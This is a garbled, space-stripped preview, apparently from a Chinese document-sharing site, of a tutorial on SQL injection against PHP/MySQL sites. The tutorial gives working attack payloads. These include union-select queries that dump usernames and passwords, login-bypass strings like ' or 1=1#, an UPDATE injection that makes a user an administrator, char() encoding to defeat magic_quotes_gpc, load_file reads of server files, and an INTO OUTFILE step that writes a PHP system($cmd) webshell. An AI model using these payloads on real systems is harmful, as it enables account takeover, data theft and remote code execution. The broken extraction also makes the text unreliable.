php代碼審計msql注入專題_第1頁
php代碼審計msql注入專題_第2頁
php代碼審計msql注入專題_第3頁
php代碼審計msql注入專題_第4頁
php代碼審計msql注入專題_第5頁
已閱讀5頁,還剩48頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)

文檔簡介

而此文我們主要用到的是php.ini的配置。為了安全起見我們一般都打開的display_errors這會返回很多有用的信息,所以我們應(yīng)該關(guān)閉之,即讓sp_sf關(guān)閉錯誤顯示后,php函數(shù)執(zhí)行錯誤的信息將不會再顯高版本的默認(rèn)都是magic_quotes_gpc=On,只有在原來的古董級的php中的默認(rèn)配置是magic_quotes_gpc=Off,可是古董的東西也有人用的哦!(反斜線)和空字符會自動轉(zhuǎn)為含有反斜線的轉(zhuǎn)義字符,例如把’變成了\’,搞一搞magic_quotes_gpc=On的情況哈OffA:從MYSQL語法方面先SELECT[STRAIGHT_JOIN][INTO{OUTFILE|DUMPFILE}'file_name'export_options][FROMtable_references[GROUPBYcol_name,...][ORDERBY{unsigned_integer|col_name|formula}[ASC|DESC],...]]我們也可以用intooutfile將select結(jié)果輸出到文件中。當(dāng)然我們也可以用select直接輸出mysql>select|a|a1rowinset(0.00<formmethod=“POST”action=“<?echo$PHP_SELF;<inputtype=“text”<inputtype=“submit”SELECT*FROMusersWHEREusernameLIKE‘%$search%’ORDERBY名,%$search%表示所有包含$search字符的內(nèi)容。Aabb%’or1=1orderby或許有人會問為什么要用or1=1呢,看下面,SELECT*FROMusersWHEREusernameLIKE‘%aabb%’or1=1orderbyORDERBY%’orderby’orderbySELECT*FROMusersWHEREusernameLIKE‘%%’orderbyid#ORDERBY和SELECT*FROMusersWHEREusernameLIKE‘%%’orderbyid#ORDERBYselect語句出現(xiàn),select實際上幾乎是無MysqlUPDATE[LOW_PRIORITY]tbl_nameSET[WHERECREATETABLEusers(idint(10)NOTNULLloginvarchar(25),emailvarchar(30),userleveltinyint,PRIMARYKEY(id))$sql="UPDATEusersSETpassword='$pass',email='$email'WHEREUPDATEusersSETpassword='youpass',email='netsh@163.com’,userlevel=’1’WHEREid='youid’看看我們的userlevel1了,變成管理員了喲INSERT[LOW_PRIORITY|DELAYED][INTO]tbl_name[(col_name,...)]INSERT...VALUESMySQL3.22.5col_name=expressionMySQL3.22.10或以后版本中支持。CREATETABLEmembresidvarchar(15)NOTNULLdefault'',loginvarchar(25),emailvarchar(30),userleveltinyint,PRIMARYKEY(id)) VALUES('$id','$login','$pass','$email',’2')"; Mysql3/**/ Idtinyint(4)NOTNULLauto_increment,UserNamevarchar(50)NOTNULLdefault'',PASSWORDvarchar(50)defaultNULL,Namevarchar(50)defaultNULL,PRIMARYKEY KEYId_2(Id))$query="select*fromalphaauthorwhereUserName='$username'andif($data){Echo}Echohttp://***/login.php?username=a’orid=1%23%23轉(zhuǎn)換成#了select*fromalphaauthorwhereUserName='a’orid=1#'andselect*fromalphaauthorwhereUserName='a’orhppt://***/login.php?username=a’or1=1%23VERSION(DATABASE(),DATABASE()返回mysql>select+----------------+------------ | |database()| +----------------+------------ |root@localhost| |5.0.0-alpha-nt+----------------+------------ 1rowinset(0.011)selectunionselectSELECT...UNION[ALL]SELECT...[UNIONSELECTUNIONMySQL4.0.0UNIONSELECTSELECTselect_expression個SELECT查詢中使用的列名將作為結(jié)果集的列名返回。SELECT只有最后一個SELECT命令可以有INTOOUTFILE。columns錯誤mysql>select*fromalphadbwhereid=351unionselect1,2,3,4,5,6,7,8,9,10fromalphaauthor;如圖mysql>select*fromalphadbwhereid=347unionselect1,2,3,4,5,6,7,8,9,10,11fromalphaauthor;如圖mysql>select*fromalphadbwhere+-----+--------------------------------------------+----------------|id|title|content|importtime|author|accessing|addInto||showup|change_ubb|change_html+-----+--------------------------------------------+----------------案第6期|2004-03-2811:50:50|Alpha|17|Alpha 2 1 1 1+-----+--------------------------------------------+----------------1rowinset(0.00sec)mysql>select*fromalphadbwhereid=347unionselect1,2,3,4,5,6,7,8,9,10,11fromalphaauthor;例如id=0,或者id=347and1<>1mysql>select*fromalphadbwhereid=347and1<>1unionselect1,2,3,4,5,6,7,8,9,10,11fromalphaauthor;如圖http://localhost/site/display.php?id=347and1<>1unionselect1,2,3,4,5,6,7,8,9,10,11fromalphaauthormysql>selectload_file('c:/boot.ini');看仔細(xì)圖9中的load_file('c:/apache/htdocs/site/lib/sql.inc')3字段呢?我們前所以我們猜測放在3字段可以順利顯示。3)select*fromtableinto#CREATETABLEtestab)ENGINE=MyISAMDEFAULT#INSERTINTOtestVALUES('<?phpsystem($cmd);?>', <?phpsystem($cmd);?>0000-00-0000:00:00 10LOADDATA[LOW_PRIORITY][LOCAL]INFILE'file_name.txt'[REPLACE|INTOTABLE#CREATETABLEtestab)ENGINE=MyISAMDEFAULTMysql>loaddatainfile'c:/cmd.php'intotabletestc:/cmd.php內(nèi)容為<?phpsystem($cmd);基本的語法就將到這里了,可能還有很多重要的東西漏掉了哦,你可以去php付上一個php中文手冊)1.asp下如何破管理員密碼,下面我們來看一下php下如何實現(xiàn)返回其它什么的,這主要根據(jù)構(gòu)造1=1和1=2時的頁面判斷)判斷是否username字段的長度為5ascii方法來一位一位猜測吧。Asciiasp下的asc,哈哈,經(jīng)??春诳蚗檔案的一定很清楚啦。第二位啦,這里只放這一個圖啦,如圖aspasc變成如圖出了unionselect的強大威力了吧。$sql="SELECT*FROMuserWHEREif{echo"wrong";}http://localhost/user.php?id=1and2.在asp中字符型的注入方式很靈活,在php中字符型的注入就主要在$query="select*fromalphadbwherehttp://localhost/site/display.php?id=451'and1=1andhttp://localhost/site/display.php?id=451'and1=2and帶入到sql語句里就是select*fromalphadbwhereid=’451’and1=1and‘’=’’select*fromalphadbwhereid=’451’and1=2andselect*fromalphadbwhereid=’451’and1=1圖圖看圖$query="select*fromalphadbwheretitlelikeasp里的注入呢?a%'and1=2unionselect1,username,3,4,5,6,7,8,password,10,11from 1,username,3,4,5,6,7,8,password,10,11fromalphaauthor#%'$query="select*fromalphaauthorwhere.$HTTP_POST_VARS["UserName"]."'andif($data){echo后臺登陸成功}{}select*fromalphaauthorwhereUserName=’’or’’=’’and還有其他的繞過方法,原理是一樣的,就是想辦法讓$data返回是真就可Sql成了 用戶名和密碼都輸入’or1=1andSqlselect*fromalphaauthorwhereUserName=’’or1=1and‘’=’’andPassword=’’or1=1and‘’=’’用戶名和密碼都輸入’or2>1andSqlselect*fromalphaauthorwhereUserName=’’or2>1and‘’=’’andPassword=’’or2>1and‘’=’’用戶名輸入’or1=1#Sql 1=1 用戶名輸入’orid=1#Sql id=1 v2.0.3lite有注入漏洞,代碼就不再列出來了用戶名alphausernamepassword的字段類型應(yīng)該相同,所以我們18個字段呢?不知道大家還是否記得在unionselect介紹那里unionselect的字段數(shù)相同,我們可以通過增加select18unionselect的內(nèi)容才會就不再闡述,在下面將會提到一些關(guān)于update和insert的高級利用技巧。二:下面將要進入magic_quotes_gpc=On時候的注入攻擊教學(xué)環(huán)節(jié)了magic_quotes_gpc=On進制前面加0x,看下面的例子就明白了。$query="select*from".$art_system_db_table['user']."select*fromalphaAuthorwhereUserName=char(97,108,112,104,97)#andsql語句變成: 或許你會問我們是否可以把#char()里實際上char(97,108,112,104,97)相當(dāng)于’alpha’我們知道在mysql中如果執(zhí)行mysql>select*fromdl_userswhereERROR1054(42S22):Unknowncolumn'alpha'in'wheremysql>select*fromdl_userswhere帶入sql語句中select*fromdl_userswhere$query="select*from".$art_system_db_table['article']."wheretype=$type;type中含有xiaohua類,xiaohuachar()轉(zhuǎn)換后是http://localhost/display.php?type=char(120,105,97,111,104,117,97)and1=2unionselect1,2,username,4,password,6,7,8,9,10,11fromalphaauthorselect*from 1,2,username,4,password,6,7,8,9,10,11fromalphaauthor我們發(fā)現(xiàn)只要把‘文件路徑’轉(zhuǎn)化成char()就可以了。試試看哦intooutfile不能繞過,不然就更爽了。但是還是有一個地方可select*fromtableintooutfile’’那就是….(你unionselectselect_expressionSELECT14前面的是下載次數(shù),這就應(yīng)該是int型的了,對吧。load_file()讀寫php文件時不能在網(wǎng)頁中轉(zhuǎn)化為md5。當(dāng)然別的sql中的函數(shù)也是可以繞過的,道理相同哦。$query="select*fromalphaauthorwhereUserName=md5($username)andhttp://localhost/admin/login.php?username=char(97,98))or1=123sqlselect*fromalphaauthorwhereUserName=md5(char(97,98))or1=1andPassword='".$Pw."'Ok,登陸成功了哦!看看,md5在我們面前也沒有什么用處。jpg后綴的,上傳后路徑為/upload/2004091201.jpg2004091201.jpgphpsystem($cmd);如圖2829select1,2所輸出的!顯然肯定也能用在于magic_quotes_gpc=Off的時候啦。<?$connect=@mysql_connect("localhost","root","")ordie("UnabletoconnecttoSQLserver");mysql_select_db("alpha",$connect)ordie("Unabletoselectdatabase");?>如圖30#CREATETABLEtecmdtextNOT)ENGINE=MyISAMDEFAULT#INSERTINTOteVALUES('<?phpsystem($cmd);?>');Ok,select*fromtableintooutfile’’的時候了直接在phpmyadmin的sql輸入SELECT*FROM`te`intooutfile'C:/apache/htdocs/site/cmd1.php';31如圖32們的webshell哦,還用上面的那個例子,$query="INSERTINTOmembersVALUES('$id','$login','$pass','$email',’2')";假設(shè)我們注冊后的id為10mysqldata文件夾下的文件內(nèi)容,從而實現(xiàn)變態(tài)跨庫查詢。frm,myd,myi的三個文件,例如Alpha文件夾內(nèi)容如下圖33alphadb.frmlphadb表中的數(shù)據(jù),alphadb.frm放著表的結(jié)構(gòu),admin的信息。intooutfile的默認(rèn)路徑是在所在的數(shù)據(jù)庫文件夾下。 aaa3dbe00a167653a1aaee01d93e77e730esdf@ ?E麷AM麷A

d?Warning:mysql_fetch_object():suppliedargumentisnotavalidMySQLresultresourceinD:\web\heibai\down\show.phponline45Warning:mysql_fetch_array():suppliedargumentisnotavalidMySQLresultresourceinD:\web\heibai\down\global.phponline578如圖38D:/

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論